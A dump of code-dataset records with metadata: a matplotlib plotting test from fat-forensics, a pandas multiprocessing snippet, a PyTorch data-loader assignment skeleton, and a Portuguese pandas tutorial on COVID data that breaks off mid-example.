FAKE_ICE_ARRAY[i, :, c_index]],\n                             axis=1)\n        assert np.array_equal(line_array, line_data)\n    assert np.isclose(\n        l_colour, np.array([[0.412, 0.412, 0.412, 0.5]]),\n        atol=1e-2).all()  # dimgray mapping apparently\n    assert l_alpha == 0.5\n    assert l_label == 'ICE'\n    assert l_width == 1.75\n\n    # Check PD\n    assert len(axis.lines) == 1\n    l_data, l_colour, l_alpha, l_label, l_width = futv.get_line_data(\n        axis.lines[0])\n    line_data = np.stack([FAKE_LINESPACE, FAKE_PD_ARRAY[:, c_index]], axis=1)\n    assert np.array_equal(l_data, line_data)\n    assert l_colour == 'lightsalmon'\n    assert l_alpha == 0.6\n    assert l_label == 'PD'\n    assert l_width == 7\n\n    # Validate plot legend\n    legend = [\n        i for i in axis.get_children()\n        if isinstance(i, matplotlib.legend.Legend)\n    ]\n    assert len(legend) == 1\n    legend_texts = legend[0].get_texts()\n    assert len(legend_texts) == 2\n    assert legend_texts[0].get_text() == 'PD'\n    assert legend_texts[1].get_text() == 'ICE'\n", "meta": {"hexsha": "0695baeb3310b5eac296c6456748dbf4e926c807", "size": 17932, "ext": "py", "lang": "Python", "max_stars_repo_path": "fatf/vis/tests/test_feature_influence_vis.py", "max_stars_repo_name": "So-Cool/fat-forensics", "max_stars_repo_head_hexsha": "6fa252a1d90fe543242ef030a5f8a3f9c9f692fe", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 48, "max_stars_repo_stars_event_min_datetime": "2019-09-12T04:54:48.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-27T01:49:55.000Z", "max_issues_repo_path": "fatf/vis/tests/test_feature_influence_vis.py", "max_issues_repo_name": "So-Cool/fat-forensics", "max_issues_repo_head_hexsha": "6fa252a1d90fe543242ef030a5f8a3f9c9f692fe", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": 4, "max_issues_repo_issues_event_min_datetime": "2018-09-20T10:37:53.000Z", "max_issues_repo_issues_event_max_datetime": "2018-09-26T23:57:48.000Z", "max_forks_repo_path": "fatf/vis/tests/test_feature_influence_vis.py", "max_forks_repo_name": "So-Cool/fat-forensics", "max_forks_repo_head_hexsha": "6fa252a1d90fe543242ef030a5f8a3f9c9f692fe", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 11, "max_forks_repo_forks_event_min_datetime": "2019-09-17T13:39:43.000Z", "max_forks_repo_forks_event_max_datetime": "2021-07-27T11:04:33.000Z", "avg_line_length": 36.5959183673, "max_line_length": 79, "alphanum_fraction": 0.6178340397, "include": true, "reason": "import numpy", "num_tokens": 4966, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.43398146480389854, "lm_q2_score": 0.13117323395124272, "lm_q1q2_score": 0.056926752213224796}}
{"text": "import pandas as pd\r\nimport numpy as np\r\nfrom multiprocessing import Pool\r\nimport multiprocessing\r\ncores = multiprocessing.cpu_count()\r\npartitions = 5#give a number <=cores\r\n\r\ndef parallelize(data, dfunc):\r\n    data_split = np.array_split(data, partitions)\r\n    print(data_split)\r\n    pool = Pool(cores)\r\n    data = pd.concat(pool.map(dfunc, data_split))\r\n    pool.close()\r\n    pool.join()\r\n    return data\r\n\r\ndef square(x):\r\n    return x*x\r\n\r\ndef func_test(data):\r\n    # print(\"process owrking on {}\".format(data))\r\n    data['square'] = data['col'].apply(square)\r\n    return data\r\nif __name__=='__main__':\r\n    df = pd.DataFrame({'col': [0,1,2,3,4,5,6,7,8,9]})\r\n    data = parallelize(df, func_test)\r\n    print(data)\r\n", "meta": {"hexsha": "3e9f4391f8cb6fb6ba882c26e0160539740549dd", "size": 719, "ext": "py", "lang": "Python", "max_stars_repo_path": "pandas_Multiprocessing.py", "max_stars_repo_name": "SatyaChipp/Practice_", "max_stars_repo_head_hexsha": "9eddca6464e08135a47ddb4a595b8306af6fb4f8", "max_stars_repo_licenses": ["Unlicense"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "pandas_Multiprocessing.py", "max_issues_repo_name": "SatyaChipp/Practice_", "max_issues_repo_head_hexsha": "9eddca6464e08135a47ddb4a595b8306af6fb4f8", "max_issues_repo_licenses": ["Unlicense"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "pandas_Multiprocessing.py", "max_forks_repo_name": "SatyaChipp/Practice_", "max_forks_repo_head_hexsha": "9eddca6464e08135a47ddb4a595b8306af6fb4f8", "max_forks_repo_licenses": ["Unlicense"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 25.6785714286, "max_line_length": 54, "alphanum_fraction": 0.6509040334, "include": true, "reason": "import numpy", "num_tokens": 188, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.41111086923216805, "lm_q2_score": 0.13846179234652572, "lm_q1q2_score": 0.05692314780702414}}
{"text": "import csv\nimport numpy as np\nfrom torch.utils.data import Dataset, DataLoader, SubsetRandomSampler\n\n\nclass SimpleDataset(Dataset):\n    \"\"\"SimpleDataset [summary]\n    \n    [extended_summary]\n    \n    :param path_to_csv: [description]\n    :type path_to_csv: [type]\n    \"\"\"\n    def __init__(self, path_to_csv, transform=None):\n        ## TODO: Add code to read csv and load data. \n        ## You should store the data in a field.\n        # Eg (on how to read .csv files):\n        # with open('path/to/.csv', 'r') as f:\n        #   lines = ...\n        ## Look up how to read .csv files using Python. This is common for datasets in projects.\n\n        self.transform = transform\n        pass\n\n    def __len__(self):\n        \"\"\"__len__ [summary]\n        \n        [extended_summary]\n        \"\"\"\n        ## TODO: Returns the length of the dataset.\n        pass\n\n    def __getitem__(self, index):\n        \"\"\"__getitem__ [summary]\n        \n        [extended_summary]\n        \n        :param index: [description]\n        :type index: [type]\n        \"\"\"\n        ## TODO: This returns only ONE sample from the dataset, for a given index.\n        ## The returned sample should be a tuple (x, y) where x is your input \n        ## vector and y is your label\n        ## Before returning your sample, you should check if there is a transform\n        ## sepcified, and pply that transform to your sample\n        # Eg:\n        # if self.transform:\n        #   sample = self.transform(sample)\n        ## Remember to convert the x and y into torch tensors.\n\n        pass\n\n\ndef get_data_loaders(path_to_csv, \n                     transform_fn=None,\n                     train_val_test=[0.8, 0.2, 0.2], \n                     batch_size=32):\n    \"\"\"get_data_loaders [summary]\n    \n    [extended_summary]\n    \n    :param path_to_csv: [description]\n    :type path_to_csv: [type]\n    :param train_val_test: [description], defaults to [0.8, 0.2, 0.2]\n    :type train_val_test: list, optional\n    :param batch_size: [description], defaults to 32\n    :type batch_size: int, optional\n    :return: [description]\n    :rtype: [type]\n    \"\"\"\n    # First we create the dataset given the path to the .csv file\n    dataset = SimpleDataset(path_to_csv, transform=transform_fn)\n\n    # Then, we create a list of indices for all samples in the dataset.\n    dataset_size = len(dataset)\n    indices = list(range(dataset_size))\n\n    ## TODO: Rewrite this section so that the indices for each dataset split\n    ## are formed.\n\n    ## BEGIN: YOUR CODE\n    train_indices = []\n    val_indices = []\n    test_indices = []\n    ## END: YOUR CODE\n\n    # Now, we define samplers for each of the train, val and test data\n    train_sampler = SubsetRandomSampler(train_indices)\n    train_loader = DataLoader(dataset, batch_size=batch_size, sampler=train_sampler)\n\n    val_sampler = SubsetRandomSampler(val_indices)\n    val_loader = DataLoader(dataset, batch_size=batch_size, sampler=val_sampler)\n\n    test_sampler = SubsetRandomSampler(test_indices)\n    test_loader = DataLoader(dataset, batch_size=batch_size, sampler=test_sampler)\n\n    return train_loader, val_loader, test_loader", "meta": {"hexsha": "29306062b55cb3ac0db86f5a83c1e12f9540464e", "size": 3123, "ext": "py", "lang": "Python", "max_stars_repo_path": "a2/data_loader.py", "max_stars_repo_name": "sammy0703/IntSys-Education", "max_stars_repo_head_hexsha": "8cee5b69fde13390dbad5e089c769556c6f4e5b0", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-12-02T21:23:35.000Z", "max_stars_repo_stars_event_max_datetime": "2021-12-02T21:23:35.000Z", "max_issues_repo_path": "a2/data_loader.py", "max_issues_repo_name": "sammy0703/IntSys-Education", "max_issues_repo_head_hexsha": "8cee5b69fde13390dbad5e089c769556c6f4e5b0", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "a2/data_loader.py", "max_forks_repo_name": "sammy0703/IntSys-Education", "max_forks_repo_head_hexsha": "8cee5b69fde13390dbad5e089c769556c6f4e5b0", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 12, "max_forks_repo_forks_event_min_datetime": "2020-03-03T00:36:10.000Z", "max_forks_repo_forks_event_max_datetime": "2021-11-30T19:16:38.000Z", "avg_line_length": 32.1958762887, "max_line_length": 96, "alphanum_fraction": 0.6362471982, "include": true, "reason": "import numpy", "num_tokens": 732, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.30404167496654744, "lm_q2_score": 0.18713268216242657, "lm_q1q2_score": 0.05689613412564673}}
{"text": "# Manipula\u00e7\u00e3o de Dados em *Python*\n## A biblioteca *pandas*\n\n## \u00cdndices dos valores m\u00e1ximos ou m\u00ednimos\n\n* Os m\u00e9todos **idxmin()** e **idxmax()** retornam o *index* cuja entrada fornece o valor m\u00ednimo ou m\u00e1ximo da *Serie* ou *DataFrame*.\n\n* Se houverem m\u00faltiplas ocorr\u00eancias de m\u00ednimos ou m\u00e1ximos, o m\u00e9todo retorna a primeira ocorr\u00eancia.\n\nimport numpy as np\nimport pandas as pd\nimport datetime # para atualizar captura de dados do COVID\n\nserie_Idade = pd.Series({'Ana':20, 'Jo\u00e3o': 19, 'Maria': 21, 'Pedro': 22, 'T\u00falio': 20}, name=\"Idade\")\nserie_Peso = pd.Series({'Ana':55, 'Jo\u00e3o': 80, 'Maria': 62, 'Pedro': 67, 'T\u00falio': 73}, name=\"Peso\")\nserie_Altura = pd.Series({'Ana':162, 'Jo\u00e3o': 178, 'Maria': 162, 'Pedro': 165, 'T\u00falio': 171}, name=\"Altura\")\n\ndicionario_series_exemplo = {'Idade': serie_Idade, 'Peso': serie_Peso, 'Altura': serie_Altura}\n\ndf_dict_series = pd.DataFrame(dicionario_series_exemplo)\n\ndf_dict_series\n\ndf_dict_series.idxmin()\n\ndf_dict_series.idxmax()\n\nMais exemplos:\n\ndf_exemplo = pd.read_csv('06b-exemplo_data.csv', index_col=0);df_exemplo\n\ndf_exemplo = pd.DataFrame(df_exemplo, columns=['coluna_1','coluna_2','coluna_3'])\n\ndf_exemplo['coluna_3'] = pd.Series([1,2,3,4,5,6,7,8,np.nan,np.nan],index=df_exemplo.index)\n\ndf_exemplo\n\ndf_exemplo.idxmin()\n\ndf_exemplo.idxmax()\n\n## Reindexar *DataFrames*\n\nEm *pandas*, o m\u00e9todo **reindex** faz o seguinte:\n\n* Reordena o *DataFrame* de acordo com o conjunto de r\u00f3tulos inserido como argumento;\n* Insere valores faltantes caso um r\u00f3tulo do novo *index* n\u00e3o tenha valor atribu\u00eddo no conjunto de dados;\n* Remove valores correspondentes a r\u00f3tulos que n\u00e3o est\u00e3o presentes no novo *index*.\n\nExemplos:\n\ndf_dict_series.reindex(index=['Victor', 'T\u00falio', 'Pedro', 'Jo\u00e3o'], columns=['Altura','Peso','IMC'])\n\n## Removendo linhas ou colunas de um *DataFrame*\n\n* Para remover linhas ou colunas de um *DataFrame* do *pandas* podemos utilizar o m\u00e9todo **drop**.\n\n* *axis=0*, que \u00e9 o padr\u00e3o, indica a remo\u00e7\u00e3o de linhas, *axis=1*, indica que estamos removendo a coluna.\n\nExemplos:\n\ndf_dict_series.drop(['Ana','Maria'], axis=0)\n\ndf_dict_series.drop(['Idade'], axis=1)\n\n## Renomear *index* e *columns*\n\nO m\u00e9todo **rename** retorna uma c\u00f3pida na qual o *index* (no caso de *Series* e *DataFrames*) e *columns* (no caso de *DataFrames*) foram renomeados.\n\nO m\u00e9todo aceita como entrada um dicion\u00e1rio, uma *Serie* do *pandas* ou uma fun\u00e7\u00e3o.\n\nExemplo:\n\nserie_exemplo = pd.Series([1,2,3], index=['a','b','c'])\n\nserie_exemplo\n\nserie_exemplo.rename({'a':'abacaxi', 'b':'banana', 'c': 'cebola'})\n\ndf_dict_series\n\ndf_dict_series.rename(index = {'Ana':'a', 'Jo\u00e3o':'j', 'Maria':'m', 'Pedro':'p','T\u00falio':'t'},\n                     columns = {'Idade':'I', 'Peso':'P','Altura':'A'})\n\nindice_novo = pd.Series({'Ana':'a', 'Jo\u00e3o':'j', 'Maria':'m', 'Pedro':'p','T\u00falio':'t'})\n\ndf_dict_series.rename(index = indice_novo) # Aqui utilizando uma serie para renomear\n\ndf_dict_series.rename(columns=str.upper) # Aqui utilizando uma fun\u00e7\u00e3o para renomear\n\n## Ordenando *Series* e *DataFrames*\n\n\u00c9 poss\u00edvel ordenar pelos r\u00f3tulos do *index* (para tanto \u00e9 necess\u00e1rio que eles sejam orden\u00e1veis) ou por valores nas colunas.\n\n* O m\u00e9todo *sort_index* ordena a *Serie* ou o *DataFrame* pelo *index*;\n* O m\u00e9todo *sort_values* ordena a *Serie* ou o *DataFrame* pelos valores (escolhendo uma coluna ou mais colunas no caso de *DataFrames*). No caso do *DataFrame* precisa de um argumento *by* indicando qual(is) coluna(s) a ser(em) utilizada(s).\n\n\nExemplos:\n\nserie_desordenada = pd.Series({'Maria': 21, 'Pedro': 22, 'T\u00falio': 20, 'Jo\u00e3o': 19, 'Ana':20});serie_desordenada\n\nserie_desordenada.sort_index()\n\nMais exemplos:\n\ndf_desordenado = df_dict_series.reindex(index=['Pedro','Maria','Ana','T\u00falio','Jo\u00e3o'])\n\ndf_desordenado\n\ndf_desordenado.sort_index()\n\nMais exemplos:\n\nserie_desordenada.sort_values()\n\ndf_desordenado.sort_values(by=['Altura'])\n\n*  No caso de empate, podemos ultilizar outra coluna para desempatar\n\ndf_desordenado.sort_values(by=['Altura','Peso']) # Utilizando a coluna *'Peso'* para desempatar\n\n* Os m\u00e9todos *sort_index* e *sort_values* admitem o argumento opcional *ascending*, que permite inverter a ordena\u00e7\u00e3o:\n\ndf_desordenado.sort_index(ascending=False)\n\ndf_desordenado.sort_values(by=['Idade'], ascending=False)\n\n## Comparando *Series* e *DataFrames*\n\n*Series* e *DataFrames* possuem os m\u00e9todos de compara\u00e7\u00f5es l\u00f3gicas *eq* (igual), *ne* (diferente), *lt* (menor do que), *gt* (maior do que), *le* (menor ou igual), *ge* (maior ou igual), que permitem a utiliza\u00e7\u00e3o dos operadores bin\u00e1rios *==*, *!=*, *<*, *>*, *<=*, *>=*, respectivamente.\n\nAs compara\u00e7\u00f5es s\u00e3o realizadas em cada entrada da *Serie* ou do *DataFrame*.\n\n**Observa\u00e7\u00e3o**: Para que esses m\u00e9todos sejam aplicados todos os objetos presentes nas colunas do *DataFrame* devem possuir este m\u00e9todos compar\u00e1veis com o que est\u00e1 sendo pedido. Por exemplo se um *DataFrame* possui algumas colunas num\u00e9ricas e outras colunas com strings, ao realizar uma compara\u00e7\u00e3o do tipo *> 1*, teremos um erro, pois o *pandas* tentar\u00e1 realizar compara\u00e7\u00f5es entre objetos do tipo *int* e *str*.\n\nExemplos:\n\nserie_exemplo\n\nserie_exemplo == 2\n\nserie_exemplo > 1\n\ndf_exemplo > 1\n\n**Importante:** Ao comparar *np.nan*, o resultado tipicamente \u00e9 falso:\n\nnp.nan == np.nan\n\nnp.nan > np.nan\n\nnp.nan >= np.nan\n\nS\u00f3 \u00e9 verdadeiro para indicar que \u00e9 diferente:\n\nnp.nan != np.nan\n\n* Nesse sentido podemos ter tabelas iguais sem que a compara\u00e7\u00e3o usual funcione:\n\ndf_exemplo_2 = df_exemplo.copy() # Este m\u00e9todo, como o nome sugere, fornece uma c\u00f3pia do DataFrame\n\n(df_exemplo == df_exemplo_2).all().all()\n\n* O motivo da sa\u00edda *False* ainda que *df_exemplo_2* seja uma c\u00f3pia exata do *df_exemplo* \u00e9 a presen\u00e7a do *np.nan*.\n\n* Para comparar neste caso devemos utilizar o m\u00e9todo **equals**:\n\ndf_exemplo.equals(df_exemplo_2)\n\n## Os m\u00e9todos *any*, *all* e a propriedade *empty*\n\n* O m\u00e9todo **any** \u00e9 aplicado a entradas booleanas (verdadeiras ou falsas) e retorna verdadeiro se existir alguma entrada verdadeira e falsa se todas forem falsas;\n* O m\u00e9todo **all** \u00e9 aplicado a entradas booleanas e retorna verdadeiro se todas as entradas forem verdadeiras e falso se houver pelo menos uma entrada falsa.\n* A propriedade **empty** retorna verdadeiro se a *Serie* ou o *DataFrame* estiver vazio e falso caso contr\u00e1rio.\n\nExemplos:\n\nserie_exemplo\n\n(serie_exemplo > 1).any()\n\n(serie_exemplo > 1).all()\n\nserie_exemplo.empty\n\nMais exemplos:\n\n(df_exemplo == df_exemplo_2).any()\n\ndf_exemplo.empty\n\ndf_vazio = pd.DataFrame()\n\ndf_vazio.empty\n\n## Como selecionar colunas de um *DataFrame*\n\n* Para selecionar colunas de um *DataFrame*, basta aplicar o *colchete* a uma lista contendo os nomes das colunas de interesse.\n\n* No exemplo abaixo, temos um *DataFrame* contendo as colunas *Idade*, *Peso* e *Altura*. Iremos selecionar *Peso* e *Altura*:\n\ndf_dict_series[['Peso','Altura']]\n\n* Se quisermos selecionar apenas uma coluna, n\u00e3o h\u00e1 a necessidade de inserir uma lista. Basta utilizar o nome da coluna:\n\ndf_dict_series['Peso']\n\n* Se quisermos remover algumas colunas, podemos utilizar o m\u00e9todo **drop**.\n\ndf_dict_series.drop(['Peso','Altura'], axis=1)\n\n## Criando novas colunas a partir das colunas j\u00e1 existentes\n\n* Um m\u00e9todo eficiente para criarmos novas colunas a partir de colunas j\u00e1 existentes \u00e9 o **eval**.\n* Neste m\u00e9todo podemos utilizar como argumento uma *string* contendo uma express\u00e3o matem\u00e1tica envolvendo nomes de colunas do *DataFrame*.\n\nComo exemplo, vamos ver como calcular o IMC no *DataFrame* anterior:\n\ndf_dict_series.eval('Peso/(Altura/100)**2')\n\n* Se quisermos obter um *DataFrame* contendo o IMC como uma nova coluna, podemos utilizar o m\u00e9todo **assign** (sem modificar o *DataFrame* original):\n\ndf_dict_series.assign(IMC=round(df_dict_series.eval('Peso/(Altura/100)**2'),2))\n\n* Se quisermos modificar o *DataFrame* para incluir a coluna IMC fazemos:\n\ndf_dict_series['IMC']=round(df_dict_series.eval('Peso/(Altura/100)**2'),2)\n\ndf_dict_series\n\n## Selecionando linhas de um *DataFrame*:\n\n* Podemos selecionar linhas de um *DataFrame* de diversas formas diferentes. Veremos agora algumas dessas formas.\n\n* Diferentemente da forma de selecionar colunas, para selecionar diretamente linhas de um *DataFrame* devemos utilizar o m\u00e9todo **loc** (fornecendo o *index*, isto \u00e9, o r\u00f3tulo da linha) ou o **iloc** (fornecendo a posi\u00e7\u00e3o da linha):\n\ndados_covid_PB = pd.read_csv('https://superset.plataformatarget.com.br/superset/explore_json/?form_data=%7B%22slice_id%22%3A1550%7D&csv=true', \n                             sep=',', index_col=0)\n\nontem = (datetime.date.today() - datetime.timedelta(days=1)).strftime('%Y-%m-%d') # data de ontem\n\ndados_covid_PB.head(1)\n\n* Podemos ver as informa\u00e7\u00f5es de um \u00fanico dia como argumento (excluindo a coluna letalidade e convertendo para inteiro):\n\ndados_covid_PB.loc[ontem].drop('Letalidade').astype('int')\n#Aqui para vermos as informa\u00e7\u00f5es do dia 10 de Julho de 2020\n#Exclu\u00edmos a coluna letalidade\n\n* Podemos colocar um intervalo de datas como argumento (excluindo a coluna letalidade):\n\ndados_covid_PB.index = pd.to_datetime(dados_covid_PB.index) # Convertendo o index de string para data\ndados_covid_PB.loc[pd.date_range('2020-06-01',periods=5,freq=\"D\")].drop('Letalidade',axis=1) \n                #fun\u00e7\u00e3o pd.date_range \u00e9 muito \u00fatil para criar \u00edndices a partir de datas.\n\n* Podemos colocar uma lista como argumento:\n\ndados_covid_PB.loc[pd.to_datetime(['2020-06-01','2020-07-01'])]\n\n* Vamos agora olhar os dados da posi\u00e7\u00e3o 100 (novamente excluindo a coluna letalidade e convertendo para inteiro):\n\ndados_covid_PB.iloc[100].drop('Letalidade').astype('int') \n#Exclu\u00edmos a linha letalidade (da Serie) e convertemos para inteiro para melhor apresenta\u00e7\u00e3o\n\n* Podemos colocar um intervalo como argumento:\n\ndados_covid_PB.iloc[97:100].drop('Letalidade', axis=1).astype('int') \n\n## Selecionando colunas pelos m\u00e9todos *loc* e *iloc*\n\n* Podemos selecionar colunas utilizando os m\u00e9todos **loc** e **iloc**:\n\ndados_covid_PB.loc[:,['casosNovos','obitosNovos']]\n\ndados_covid_PB.iloc[:,4:6]\n\n## Selecionando linhas e colunas espec\u00edficas pelos m\u00e9todos *loc* e *iloc*:\n\ndados_covid_PB.iloc[95:100,4:6]\n\ndados_covid_PB.loc[pd.date_range('2020-04-06','2020-04-10'),['casosNovos','obitosNovos']].sort_index(ascending=False)\n\n* Para alterar uma entrada espec\u00edfica \u00e9 simples. Suponha que o peso de Ana foi medido errado e \u00e9, na realidade, 65, ent\u00e3o, fazemos:\n\ndf_dict_series.loc['Ana','Peso'] = 65\n\ndf_dict_series = df_dict_series.assign(IMC=round(df_dict_series.eval('Peso/(Altura/100)**2'),2)) # O IMC mudou\n\ndf_dict_series\n\n### Selecionando linha atrav\u00e9s de crit\u00e9rios l\u00f3gicos ou fun\u00e7\u00f5es:\n\nVamos selecionar quais os dias em que houve mais de 30 mortes registradas:\n\ndados_covid_PB.loc[dados_covid_PB['obitosNovos']>30]\n\nSelecionando os dias com mais de 25 \u00f3bitos e mais de 1500 casos novos:\n\ndados_covid_PB.loc[(dados_covid_PB.obitosNovos >25) & (dados_covid_PB.casosNovos>1500)]\n\n**Obs**.: Note que podemos utilizar o nome da coluna como um atributo.\n\nVamos inserir uma coluna sobrenome no *df_dict_series*:\n\ndf_dict_series['Sobrenome'] = ['Silva', 'PraDo', 'Sales', 'MachadO', 'Coutinho']\ndf_dict_series\n\nVamos encontrar as linhas cujo sobrenome termina em \"do\". Para tanto, note que a fun\u00e7\u00e3o abaixo retorna *True* se o final \u00e9 \"do\" e *False* caso contr\u00e1rio.\n```python\ndef verifica_final_do(palavra):\n    return palavra.lower()[-2:] == 'do'\n```\n**Obs**.: Note que convertemos tudo para min\u00fasculo.\n\nAgora vamos utilizar essa fun\u00e7\u00e3o para alcan\u00e7ar nosso objetivo:\n\ndf_dict_series['Sobrenome'].map(lambda palavra: palavra.lower()[-2:]=='do') \n        # A fun\u00e7\u00e3o map aplica a fun\u00e7\u00e3o lambda a cada elemento de uma *Serie*\n\ndf_dict_series.loc[df_dict_series['Sobrenome'].map(lambda palavra: palavra.lower()[-2:]=='do')]\n\nVamos selecionar as linhas do m\u00eas 4 (Abril):\n\ndados_covid_PB.loc[dados_covid_PB.index.month==4].head()\n\n## Selecionando linhas com o m\u00e9todo *query*\n\n* Na mesma linha do m\u00e9todo **eval**, ao utilizarmos o m\u00e9todo **query** podemos criar express\u00f5es l\u00f3gicas a partir de nomes das colunas do *DataFrame*.\n\nAssim, podemos reescrever o c\u00f3digo\n\n```python\ndados_covid_PB.loc[(dados_covid_PB.obitosNovos>25) & \n                   (dados_covid_PB.casosNovos>1500)]\n```\ncomo\n\ndados_covid_PB.query('obitosNovos>25 and casosNovos>1500')\n\n## Agregando informa\u00e7\u00f5es de linhas ou colunas\n\n* Para agregar informa\u00e7\u00f5es (por exemplo somar, tomar m\u00e9dias, etc) de linhas ou colunas podemos utilizar alguns m\u00e9todos espec\u00edficos j\u00e1 existentes em *DataFrames* e *Series*, como **sum**, **mean**, **cumsum**, etc, como  tamb\u00e9m podemos utilizar o m\u00e9todo **aggregate** ou equivalentemente **agg**:\n\ndados_covid_PB.agg(lambda vetor: np.sum(vetor))[['casosNovos','obitosNovos']].astype('int')\n\ndados_covid_PB.head()\n\n* Isto tamb\u00e9m pode ser obtido utilizando o m\u00e9todo *sum* de *DataFrames* e *Series*:\n\ndados_covid_PB[['casosNovos','obitosNovos']].sum()\n\n* Podemos recriar a coluna obitosAcumulados com o m\u00e9todo *cumsum*:\n\ndados_covid_PB.obitosNovos.sort_index().cumsum()\n\n## Selecionando entradas distintas\n\n* Para selecionar entradas distintas utilizamos o m\u00e9todo **drop_duplicate**. Aqui, para exemplificar, vamos utilizar o banco de dados oficial de covid do Brasil:\n\ncovid_BR = pd.read_excel('06b-HIST_PAINEL_COVIDBR_18jul2020.xlsx')\n\ncovid_BR.tail(3)\n\ncovid_BR.info()\n\ncovid_BR.estado.drop_duplicates().array\n\ncovid_BR.estado.drop_duplicates().dropna().sort_values().array\n\n## Agrupando dados por valores em colunas e agregando os resultados\n\n* Vamos determinar uma coluna para agrupar. No caso, iremos considerar o *DataFrame* **covid_BR**, vamos selecionar os estados *PB*, *PE*, *RJ*, *SP* e vamos realizar an\u00e1lises, agrupando os resultados por estados.\n\ncovid_BR.query('estado in [\"PB\", \"PE\", \"RJ\", \"SP\"]')\n\n* Dando uma inspecionada no conjunto de dados, observamos que os dados para o estado s\u00e3o apresentados com o valor *NaN* para **codmun** e quando **codmun** possui um valor diferente de *NaN*, o resultado \u00e9 apenas para o munic\u00edpio do c\u00f3digo em quest\u00e3o.\n\n* Como estamos interessados nos valores por estado, vamos selecionar apenas os dados com **codmun** *NaN*:\n\ncovid_estados = covid_BR.query('estado in [\"PB\", \"PE\", \"RJ\", \"SP\"]')\ncovid_apenas_estados = covid_estados.loc[covid_estados['codmun'].isna()]\n\n* Vamos agora apenas selecionar as colunas de interesse. Para tanto, vejamos os nomes das colunas:\n\ncovid_apenas_estados.columns\n\ncovid_apenas_estados = covid_apenas_estados[['estado', 'data', 'casosNovos', 'obitosNovos']]\n\nA data parece ser o *index* natural, j\u00e1 que o *index* atual n\u00e3o representa nada. Observe que termos *index* repetidos, pois teremos as mesmas datas em estados diferentes.\n\ncovid_apenas_estados\n\ncovid_apenas_estados = covid_apenas_estados.set_index('data')\n\ncovid_apenas_estados\n\n## Agrupando com o m\u00e9todo *groupby*\n\nPodemos escolher uma (ou mais colunas, incluindo o \u00edndice) para agrupar os dados. Ao agruparmos os dados, receberemos um objeto do tipo DataFrameGroupBy. Para vermos os resultados, devemos agregar os valores:\n\ncovid_estados_agrupado = covid_apenas_estados.groupby('estado')\n\ncovid_estados_agrupado.sum().rename({'casosNovos':'Casos Totais', 'obitosNovos':'Obitos Totais'},axis=1)\n\nPodemos agrupar por mais de uma coluna. Vamos fazer dois grupos. *grupo_1* formado por PB e PE e *grupo_2* formado por RJ e SP. Em seguida, vamos agrupar por grupo e por data:\n\ncovid_estados_grupos = covid_apenas_estados.copy()\ncol_grupos = covid_estados_grupos.estado.map(lambda estado: 'grupo_1' if estado in ['PB','PE']\n                                                  else 'grupo_2')\ncovid_estados_grupos['grupo'] = col_grupos\n\ncovid_estados_grupos\n\nAgora vamos agrupar e agregar:\n\ncovid_grupo_agrupado = covid_estados_grupos.groupby(['grupo','data'])\n\ncovid_grupo_agrupado.sum()\n\n## Mesclando *DataFrames* \n\n* Vamos agora ver algumas formas de juntar dois ou mais *DataFrames* com *index* ou colunas em comum para formar um novo *DataFrame*.\n\n\n### Mesclando *DataFrames* atrav\u00e9s de concatena\u00e7\u00f5es\n\n* Concatenar nada mais \u00e9 do que \"colar\" dois ou mais *DataFrames*. Podemos concatenar por linhas ou por colunas.\n\n* A fun\u00e7\u00e3o que realiza a concatena\u00e7\u00e3o \u00e9 **concat**. Os dois argumentos mais utilizados s\u00e3o a lista de *DataFrames* a serem concatenados e **axis**, onde *axis = 0* indica concatena\u00e7\u00e3o por linha (um *DataFrame* \"embaixo\" do outro) e *axis=1* indica concatena\u00e7\u00e3o por coluna (um *DataFrame* ao lado do outro).\n\nRelembre do *DataFrame* *df_dict_series*:\n\ndf_dict_series\n\nVamos criar um novo, com novas pessoas:\n\nserie_Idade_nova = pd.Series({'Augusto':13, 'Andr\u00e9': 17, 'Alexandre': 45}, name=\"Idade\")\nserie_Peso_novo = pd.Series({'Augusto':95, 'Andr\u00e9': 65, 'Alexandre': 83}, name=\"Peso\")\nserie_Altura_nova = pd.Series({'Augusto':192, 'Andr\u00e9': 175, 'Alexandre': 177}, name=\"Altura\")\nserie_sobrenome = pd.Series({'Augusto':'Castro', 'Andr\u00e9':'Castro', 'Alexandre':'Castro'}, name='Sobrenome')\ndicionario_novo = {'Sobrenome':serie_sobrenome, 'Peso': serie_Peso_novo, \n                   'Idade': serie_Idade_nova, 'Altura': serie_Altura_nova}\ndf_novo = pd.DataFrame(dicionario_novo)\ndf_novo = df_novo.assign(IMC=round(df_novo.eval('Peso/(Altura/100)**2'),2))\n\ndf_novo\n\nAgora vamos concaten\u00e1-los:\n\npd.concat([df_dict_series,df_novo]) \n\n### Concatenando por coluna\n\nPara exemplificar vamos considerar os dados de COVID da Para\u00edba, selecionando casos novos e \u00f3bitos novos, e vamos obter dos dados do Brasil apenas os casos e \u00f3bitos di\u00e1rios do pa\u00eds, e vamos concaten\u00e1-los por coluna.\n\ncovid_PB_casos_obitos = dados_covid_PB[['casosNovos','obitosNovos']]\n\nVamos tratar os dados do Brasil:\n\ncovid_BR_casos_obitos = covid_BR.query('regiao==\"Brasil\"')\ncovid_BR_casos_obitos = covid_BR_casos_obitos.set_index('data')\ncovid_BR_casos_obitos = covid_BR_casos_obitos[['casosNovos','obitosNovos']].rename({\n    'casosNovos':'casosBR', 'obitosNovos':'obitosBR'\n}, 